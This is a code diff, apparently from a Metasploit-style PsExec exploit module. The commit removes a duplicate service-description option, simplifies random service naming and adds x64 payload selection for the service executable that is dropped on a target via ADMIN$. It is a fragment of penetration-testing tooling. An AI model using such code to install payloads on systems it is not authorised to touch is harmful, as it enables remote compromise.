@@ -83,8 +83,7 @@ def initialize(info = {})
83
83
OptString . new ( 'SERVICE_FILENAME' , [ false , "Filename to to be used on target for the service binary" , nil ] ) ,
84
84
OptString . new ( 'SERVICE_DESCRIPTION' , [ false , "Service description to to be used on target for pretty listing" , nil ] )
85
85
OptString . new ( 'SERVICE_NAME' , [ false , "Servicename to to be used on target for the service binary and manager" , nil ] ) ,
86
- OptString . new ( 'SERVICE_DISPLAYNAME' , [ false , "Service displayname to to be used on target for the service manager" , nil ] ) ,
87
- OptString . new ( 'SERVICE_DESCRIPTION' , [ false , "Service description to to be used on target for pretty listing" , nil ] )
86
+ OptString . new ( 'SERVICE_DISPLAYNAME' , [ false , "Service displayname to to be used on target for the service manager" , nil ] )
88
87
] , self . class )
89
88
end
90
89
@@ -155,7 +154,7 @@ def exploit
155
154
# Disconnect from the ADMIN$
156
155
simple . disconnect ( "ADMIN$" )
157
156
else
158
- servicename = datastore [ 'SERVICE_NAME' ] || " #{ rand_text_alpha ( 8 ) } "
157
+ servicename = datastore [ 'SERVICE_NAME' ] || rand_text_alpha ( 8 )
159
158
servicedescription = datastore [ 'SERVICE_DESCRIPTION' ] || rand_text_alpha ( rand ( 32 ) +1 )
160
159
displayname = datastore [ 'SERVICE_DISPLAYNAME' ] || 'M' + rand_text_alpha ( rand ( 32 ) +1 )
161
160
@@ -180,6 +179,9 @@ def exploit
180
179
end
181
180
exe = ''
182
181
opts = { :servicename => servicename }
182
+ if ( datastore [ 'PAYLOAD' ] . include? 'x64' )
183
+ opts . merge! ( { :arch => ARCH_X64 } )
184
+ end
183
185
exe = generate_payload_exe_service ( opts )
184
186
185
187
fd << exe
0 commit comments